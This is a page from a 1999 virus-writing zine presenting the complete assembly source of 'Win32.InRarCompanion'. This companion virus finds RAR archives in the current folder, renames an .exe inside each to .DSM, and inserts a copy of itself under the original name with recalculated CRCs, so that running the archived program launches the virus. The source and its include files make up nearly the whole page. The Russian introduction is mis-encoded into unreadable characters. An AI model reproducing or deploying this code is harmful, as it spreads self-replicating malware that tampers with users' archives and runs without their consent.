- [Duke's Virus Labs #7] - [Page 34] -

                             Win32.InRarCompanion
                             ~~~ by FRiZER`99 ~~~

    , ࠦ騩 䠩 ⮤ companion  娢 RAR.  ࠦ
        娢  室騩  䠩  (.exe),     
      ७. ⮬, ᯮ  , 뢠
         娢, ᫥ 祣 ᮡࠥ    ᪮  
    뢠  ᫥  . 娢 RAR   ⥪饬 ⠫. ..
     ࠦ 䠩  娢 ⮤ "companion".  讬 -
     ⠪ ᯮᮡ 室.     Win32 exe譨  娢 ᪮॥
    ᥣ  -  ਡ⨢  - setup.exe.     筮 ⮫쪮
    ᥣ-    孮 -   ⨬   - 
    .  WinNT  祬-  :(  ந ࠧ 
    ᬮ - ⠬     ;)

    Rest in Peace. FRiZER                                         07.07.99

===== begin rar32inf.asm =====
        ideal
        p586
        model flat

INVALID_HANDLE_VALUE            = 0 - 1
MB_OK                           = 00000000h
OPEN_EXISTING                   = 00000003h
FILE_SHARE_READ                 = 00000001h
FILE_SHARE_WRITE                = 00000002h
GENERIC_READ                    = 80000000h
GENERIC_WRITE                   = 40000000h
PAGE_READWRITE                  = 00000004h
FILE_MAP_WRITE                  = 00000002h

include "winprocs.inc"
include "struc.inc"

vsize   equ     3000h                   ; ࠧ  ???
virext  equ     'DSM.'                  ;    .EXE
runext  equ     'EXE.'                  ; ७ ࠦ 䠩
minsize equ     200000                  ; min ࠧ ࠦ 娢
maxinfc equ     3                       ; max - ࠦ  ࠧ

        dataseg
CRC_Table       db      1024 dup (0)
DTA             db      size FindData dup (0)
StartupInfo     dd      40h             ;
                dd      40h dup (0)     ;  CreateProcess
ProcInfo        dd      4 dup (0)       ;
hFindFile       dd      0               ; ⥫ ᪠
hFile           dd      0               ; ⥫ 䠩
hFileM          dd      0               ; ⥫ ஥樨
hFileMV         dd      0
FileSize        dd      0               ; ࠧ 䠩
RarHdrOfs       dd      0               ; ᬥ饭 㦭   娢

szCaption       db      'MuStDiE',0
szText          db      'Win32.InRarCompanion by FRiZER`99',13,10
                db      'mailto:v666x@mail.ru',0
msk             db      '*.rar', 0      ; ᪠ 䠩
InfCount        dw      0               ; 稪 ࠦ

        codeseg
Start:

; [ ⨬ ⥫ ] -----------------------------------------------------

        call    GetCommandLineA         ; 祭   ப
        mov     edi, eax
        xchg    eax, ebx                ;   ebx

        mov     ecx, 0FFh               ;   ப
        cld
scan_cmd:
        mov     eax, '.'                ;  '.'
        repnz   scasb                   ; 饬
        jne     Myxa_Not_Found          ;  諨 - 뢥 msgbox

        mov     eax, [dword edi-1]      ; eax - ७ 䠩
        and     eax, not 20202000h      ; ਢ  孥 ॣ
        cmp     eax, runext             ; 諨 .EXE ?
        jne     scan_cmd                ;  - 饬 
        mov     [dword edi-1], virext   ; 塞 ७

        push    offset ProcInfo
        push    offset StartupInfo
        push    0 0 0 0 0 0
        push    ebx                     ;  ᪠ ணࠬ
        push    0
        call    CreateProcessA          ; ᪠ ⥫
        test    eax, eax                ; 㤠筮 ⨫?
        jnz     BeginVir                ;  -  ࠡ⠥ 
Myxa_Not_Found:                         ;  - 뢥 msgbox
        push    MB_OK
        push    offset szCaption
        push    offset szText
        push    0
        call    MessageBoxA

BeginVir:
        mov     [InfCount], 0           ; 塞 稪 ࠦ

; [ ᮧ ⠡   CRC ] -------------------------------------

        lea     edi, [CRC_Table+1020]
        mov     ebp, 0FFh
        std
thloop: mov     ecx, 8
        mov     eax, ebp
tlloop: shr     eax, 1
        jnc     cf0
        xor     eax, 0EDB88320h
cf0:    loop    tlloop
        stosd
        dec     bp
        jnz     thloop
        xchg    eax, ebp
        stosd

; [  ࢮ 䠩  *.rar ] ------------------------------------------

        push    offset DTA              ;  ᪠
        push    offset msk              ; ofs ᪨ 䠩
        call    FindFirstFileA          ; 饬  室騩 䠩
        cmp     eax, INVALID_HANDLE_VALUE ; ?
        je      EndFind                 ;  - ⨬ ⥫
        mov     [hFindFile], eax        ;  - ࠭ ⥫

CheckRar:                               ; ࠡ⠥  䠩
; [ 뢠 䠩 ] --------------------------------------------------------

;        mov     ebp, esp                ; ebp - ofs  
        push    0                       ; 䠩-ਬ ਡ⮢
        push    0                       ; ਡ 䠩 -  㦭
        push    OPEN_EXISTING           ; 뢠 騩 䠩
        push    0                       ; ⠭   㬮砭
        push    FILE_SHARE_READ or FILE_SHARE_WRITE ; ⨯ ᮢ⭮ 㯠
        push    GENERIC_READ or GENERIC_WRITE ; ᯮᮡ 㯠  䠩
        lea     ebp, [(FindData DTA).FileName]
        push    ebp                     ; ofs  䠩
        call    CreateFileA             ; ஥ 䠩
        cmp     eax, INVALID_HANDLE_VALUE ;   ⨥?
        je      FindNext                ;  - 饬 ᫥騩
        mov     [hFile], eax            ;  - ࠭ ⥫
        xchg    eax, ebx                ;  CreateFileMappingA

; [ 㧭 ࠧ ⮣ 䠩 ] -----------------------------------------

        push    offset FileSize         ; 㤠    ࠧ
        push    ebx                     ; ⥫ 䠩
        call    GetFileSize             ; 稬 ࠧ
        mov     [FileSize], eax         ; ࠭ ࠧ
        cmp     eax, minsize            ; ࠧ 䠩 > minsize
        jbe     Close_hFile             ;  -  㣮

; [ ᮧ ஥ 䠩 ] ------------------------------------------------

        push    0                       ;  ஥樨 ( ॡ)
        push    0                       ; low-  ࠧ
        push    0                       ; high-/  0 - ⥪騩 ࠧ
        push    PAGE_READWRITE          ;  뢠  뢠
        push    0                       ; ⠭   㬮砭
        push    ebx                     ; ⥫ 䠩
        call    CreateFileMappingA      ; ᮧ ஥ 䠩
        test    eax, eax                ; ?
        jz      Close_hFile             ;  - ஥ 䠩   㣮
        mov     [hFileM], eax
;        push    eax                     ;

; [ ஥㥬 䠩   ᭮ ࠭⢮  ] ----------

        push    0                       ; ஥஢  䠩
        push    0                       ; low-part -, ᬥ饭  ண
        push    0                       ; high-part/  稭 ஥஢
        push    FILE_MAP_WRITE          ;  뢠  뢠
        push    eax                     ; ⥫ ஥樨 䠩
        call    MapViewOfFile           ; ஥㥬
        test    eax, eax                ; ?
        jz      Close_hFileM            ;  - ஥ ⥫ ஥樨...
        mov     [hFileMV], eax
        xchg    eax, ebx                ; ebx - 砫 RAR 娢

; [ ࠡ뢠 䠩 ] -----------------------------------------------------

        cmp     [dword ebx], '!raR'     ; 䠩 ⢨⥫쭮 娢 RAR?
        jne     bad_rar                 ;  -  ᪠ ᫥騩
        add     ebx, 7                  ; ᫥騩 

        mov     ax, [(rar ebx).head_flags]
        test    al, 2Dh                 ; 室  娢  ࠦ
        jnz     bad_rar                 ;  - 饬 㣮

; [ ஢ઠ  砭 䠩 ] -------------------------------------------
check_block:
        mov     eax, ebx
        add     eax, [FileSize]         ; eax - ofs ᫥ ஥樨 䠩
        cmp     ebx, eax                ; ebx -    ⨣?
        jae     bad_rar                 ;  -  ᪠ ᫥騩

; [ ஢ઠ    䠩 ] -------------------------------------

        cmp     [(rar ebx).head_type], 74h ;  䠩?
        je      check_if_exe            ;  - ஢ਬ EXE  

; [ 室  ᫥饬  ] --------------------------------------------
next_block:
        movzx   eax, [(rar ebx).head_size] ; eax - ࠧ 
        add     ebx, [(rar ebx).pack_size]
        add     ebx, eax                ; ebx - 砫 ᫥饣 
        jmp     check_block             ; 堫  ஢

; [ ஢ઠ ७   娢 䠩  EXE ] ------------------
check_if_exe:
        lea     ebp, [(rar ebx).file_name] ; ebp - ofs  䠩
        movzx   eax, [(rar ebx).name_size] ; eax -  
        add     ebp, eax                ; ebp - ofs ᫥  䠩
        mov     eax, [ebp-4]            ; eax - ७ 䠩
        and     eax, not 20202000h      ; ਢ  孥 ॣ
        cmp     eax, virext             ; 娢 㦥 ࠦ?
        je      bad_rar                 ;  -  㣮
        cmp     eax, runext             ;  EXE-䠩?
        jne     next_block              ;  - 㤥 ᪠...
        mov     [dword ebp-4], virext   ; 塞 ७ 䠩

; [  CRC   ] -------------------------------------

        lea     esi, [ebx+2]            ; 㤠  CRC
        movzx   ecx, [(rar ebx).head_size] ; ࠧ 
        dec     ecx
        dec     ecx                     ; ecx - ࠧ   CRC
        call    clc_crc                 ; ⠥ CRC - ୥  ecx
        mov     [ebx], cx               ; 襬 CRC  
        movzx   eax, [(rar ebx).head_size] ; ࠧ 
        add     eax, vsize              ; eax - ࠧ   ᮬ
        add     eax, [FileSize]         ;  娢  ᠭ ᮬ
        xchg    eax, ebx                ; ebx -  娢 " ᮬ"
        sub     eax, [hFileMV]          ; eax - ᬥ饭 ࠦ 䠩
                                        ;        砫 娢
        mov     [RarHdrOfs], eax        ; ࠭ 

; [ ⪫稬 䠩  ஥ ஥ ] --------------------------------------

        push    [hFileMV]
        call    UnmapViewOfFile         ; ⪫稬 䠩  
        push    [hFileM]
        call    CloseHandle             ; ஥ ஥ 䠩

; [  ᮧ ஥  ஥㥬 䠩 ] ----------------------------

        push    0                       ;  ஥樨 ( ॡ)
        push    ebx                     ; low-  ࠧ
        push    0                       ; high-/  0 - ⥪騩 ࠧ
        push    PAGE_READWRITE          ;  뢠  뢠
        push    0                       ; ⠭   㬮砭
        push    [hFile]                 ; ⥫ 䠩
        call    CreateFileMappingA      ; ᮧ ஥ 䠩
        test    eax, eax                ; ?
        jz      Close_hFile             ;  - ஥ 䠩   㣮
        mov     [hFileM], eax

        push    0                       ; ஥஢  䠩
        push    0                       ; low-part -, ᬥ饭  ண
        push    0                       ; high-part/  稭 ஥஢
        push    FILE_MAP_WRITE          ;  뢠  뢠
        push    eax                     ; ⥫ ஥樨 䠩
        call    MapViewOfFile           ; ஥㥬
        test    eax, eax                ; ?
        jz      Close_hFileM            ;  - ஥ ⥫ ஥樨...
        mov     [hFileMV], eax
        xchg    eax, ebx

; [ ९襬   ⥫    娢 ] ----------------------

        mov     edi, [FileSize]
        add     edi, ebx                ; edi - 㤠  
        add     ebx, [RarHdrOfs]        ; ebx - ofs 
        movzx   ecx, [(rar ebx).head_size] ; ecx - ࠧ 
        mov     esi, ebx                ; 㤠 
        cld
        mov     ebx, edi                ; ebx - ofs ९ᠭ 
        rep     movsb                   ; ९뢠 
        push    edi                     ;  ofs ᫥ 

        push    0
        call    GetModuleHandleA

        mov     esi, eax                ; esi - 砫 䠩   

; [ 㭨ᠫ ᯮᮡ ᮧ  - ⮫쪮  ⮣  ] -------

macro   movd    len
        mov     ecx, len/4
        rep     movsd
        add     esi, 1000h-len
        endm

        movd    600h
        movd    400h
        movd    800h
        movd    200h
        movd    200h

        mov     ecx, 1A00h/4
        rep     movsd

; [ ନ஢   ᮬ  rar' ] ----------------------------------

        pop     esi                     ; esi - 砫 dump'   rar'
        mov     ecx, vsize              ; ecx - ࠧ ^^^^^^^^^^^^^^^^^^^^^
        mov     [(rar ebx).pack_size], vsize ; 塞 ࠧ  
        mov     [(rar ebx).unp_size], vsize
        mov     [(rar ebx).method], 30h ; 塞 ⮤  store
        call    clc_crc                 ; ⠥ CRC 䠩
        mov     [(rar ebx).file_crc], ecx ; 襬 CRC 䠩  

        lea     ebp, [(rar ebx).file_name] ; ebp - ofs  䠩
        movzx   eax, [(rar ebx).name_size] ; eax -  
        add     ebp, eax                ; ebp - ofs ᫥  䠩
        mov     [dword ebp-4], runext   ; 塞 ७ 䠩

        lea     esi, [ebx+2]            ; 㤠  CRC
        movzx   ecx, [(rar ebx).head_size] ; ࠧ 
        dec     ecx
        dec     ecx                     ; ecx - ࠧ   CRC
        call    clc_crc                 ; ⠥ CRC - ୥  ecx
        mov     [ebx], cx               ; 襬 CRC  

        inc     [InfCount]                ; 㢥稫 稪 ࠦ

; [ ⪫稬 䠩   ᭮ ࠭⢠  ] ---------------
bad_rar:
        push    [hFileMV]
        call    UnmapViewOfFile

; [ ஥ ஥ 䠩 ] ------------------------------------------------
Close_hFileM:
        push    [hFileM]
        call    CloseHandle

; [ ஥ 䠩 ] ----------------------------------------------------------
Close_hFile:
        push    [hFile]
        call    CloseHandle

; [  ᫥騩 䠩 ] -------------------------------------------------
FindNext:
        cmp     [InfCount], maxinfc
        jae     EndFind
        push    offset DTA
        push    [hFindFile]
        call    FindNextFileA
        cmp     eax, 0
        jne     CheckRar

; [ ஥ ⥫ ᪠ ] ----------------------------------------------
EndFind:
        push    [hFindFile]
        call    FindClose

; [ 蠥 ࠡ  ] -----------------------------------------------
Exit_Process:
        push    0
        call    ExitProcess             ; 蠥

; [  CRC ॣ, 稭  esi, ࠧ஬ ecx ] ----------------------
clc_crc:
        cld
        push    ebx
        lea     edi, [CRC_Table]        ; edi - 砫 CRC_Table
        mov     ebp, ecx                ; ebp -  ॣ
        mov     ecx, 0FFFFFFFFh
c_loop: xor     eax, eax
        lodsb
        mov     ebx, eax
        xor     bl, cl
        shr     ecx, 8
        shr     eax, 8
        shl     eax, 8*3
        or      ecx, eax
        shl     ebx, 2
        xor     ecx, [edi+ebx]
        dec     ebp
        jnz     c_loop
        not     ecx
        pop     ebx
        ret

        end     Start
===== end   rar32inf.asm =====

===== begin struc.inc =====
struc   rar                             ;  RAR-娢
        head_crc        dw      ?       ; CRC   HEAD_TYPE
        head_type       db      ?       ;  
        head_flags      dw      ?       ; ⮢ 䫠
        head_size       dw      ?       ;  ࠧ  䠩,
                                        ;   䠩  ਨ
        pack_size       dd      ?       ;  䠩  娢 (ᦠ)
        unp_size        dd      ?       ;  室 䠩 (ᦠ)
        host_os         db      ?       ; ᯮ짮  娢஢ OS
        file_crc        dd      ?       ; CRC 䠩
        file_time       dd      ?       ;   ६  ଠ MS-DOS
        unp_ver         db      ?       ;  RAR  祭 䠩
        method          db      ?       ; ⮤ ᦠ
        name_size       dw      ?       ;   䠩
        attr            dd      ?       ; ਡ 䠩
        file_name       db      ?       ;  䠩
                                        ; (ப ࠧ஬ NAME_SIZE )
ends    rar

struc   FindData
        FileAttributes  dd      ?
        CreationTime    dd      ?,?
        LastAccessTime  dd      ?,?
        LastWriteTime   dd      ?,?
        FileSizeHigh    dd      ?
        FileSizeLow     dd      ?
        Reserved0       dd      ?
        Reserved1       dd      ?
        FileName        db      0FFh dup (?)
        AltFileName     db      0Eh dup (?)
ends    FindData
===== end   struc.inc =====

===== begin winprocs.inc =====
PROCTYPE        ptGetCommandLine        stdcall

PROCTYPE        ptCreateProcess         stdcall \
                        lpApplicationName       :dword, \ pointer to name of executable module
                        lpCommandLine           :dword, \ pointer to command line string
                        lpProcessAttributes     :dword, \ pointer to process security attributes
                        lpThreadAttributes      :dword, \ pointer to thread security attributes
                        bInheritHandles         :word,  \ handle inheritance flag
                        dwCreationFlags         :dword, \ creation flags
                        lpEnvironment           :dword, \ pointer to new environment block
                        lpCurrentDirectory      :dword, \ pointer to current directory name
                        lpStartupInfo           :dword, \ pointer to STARTUPINFO
                        lpProcessInformation    :dword  ; pointer to PROCESS_INFORMATION

PROCTYPE        ptFindFirstFile         stdcall \
                        lpFileName              :dword, \ pointer to name of file to search for
                        lpFindFileData          :dword  ; pointer to returned information

PROCTYPE        ptCreateFile                    stdcall \
                        lpFileName              :dword, \ pointer to name of the file
                        dwDesiredAccess         :dword, \ access (read-write) mode
                        dwShareMode             :dword, \ share mode
                        lpSecurityAttributes    :dword, \ pointer to security descriptor
                        dwCreationDistribution  :dword, \ how to create
                        dwFlagsAndAttributes    :dword, \ file attributes
                        hTemplateFile           :dword  ; handle to file with attributes to copy

PROCTYPE        ptGetFileSize           stdcall \
                        hFile                   :dword, \ handle of file to get size of
                        lpFileSizeHigh          :dword  ; address of high-order word for file size

PROCTYPE        ptCreateFileMapping             stdcall \
                        hFile                   :dword, \ handle to file to map
                        lpFileMappingAttributes :dword, \ optional security attributes
                        flProtect               :dword, \ protection for mapping object
                        dwMaximumSizeHigh       :dword, \ high-order 32 bits of object size
                        dwMaximumSizeLow        :dword, \ low-order 32 bits of object size
                        lpName                  :dword  ; name of file-mapping object

PROCTYPE        ptMapViewOfFile                 stdcall \
                        hFileMappingObject      :dword, \ file-mapping object to map into address space
                        dwDesiredAccess         :dword, \ access mode
                        dwFileOffsetHigh        :dword, \ high-order 32 bits of file offset
                        dwFileOffsetLow         :dword, \ low-order 32 bits of file offset
                        dwNumberOfBytesToMap    :dword  ; number of bytes to map

PROCTYPE        ptUnmapViewOfFile       stdcall \
                        lpBaseAddress           :dword  ; address where mapped view begins

PROCTYPE        ptCloseHandle           stdcall \
                        handle                  :dword

PROCTYPE        ptGetModuleHandle       stdcall \
                        lpModuleName            :dword

PROCTYPE        ptFindNextFile          stdcall \
                        hFindFile               :dword, \ handle to search
                        lpFindFileData          :dword  ; pointer to structure for data on found file

PROCTYPE        ptFindClose                     stdcall \
                        hFindFile               :dword  ; file search handle

PROCTYPE        ptExitProcess           stdcall \
                        uExitCode               :dword  ; exit code for all threads

PROCTYPE        ptMessageBox            stdcall \
                        hWnd                    :dword, \ handle of owner window
                        lpText                  :dword, \ address of text in message box
                        lpCaption               :dword, \ address of title of message box
                        uType                   :dword  ; style of message box

extrn           GetCommandLineA                 :ptGetCommandLine
extrn           CreateProcessA                  :ptCreateProcess
extrn           FindFirstFileA                  :ptFindFirstFile
extrn           CreateFileA                     :ptCreateFile
extrn           GetFileSize                     :ptGetFileSize
extrn           CreateFileMappingA              :ptCreateFileMapping
extrn           MapViewOfFile                   :ptMapViewOfFile
extrn           UnmapViewOfFile                 :ptUnmapViewOfFile
extrn           CloseHandle                     :ptCloseHandle
extrn           GetModuleHandleA                :ptGetModuleHandle
extrn           FindNextFileA                   :ptFindNextFile
extrn           FindClose                       :ptFindClose
extrn           ExitProcess                     :ptExitProcess
extrn           MessageBoxA                     :ptMessageBox
===== end   winprocs.inc =====
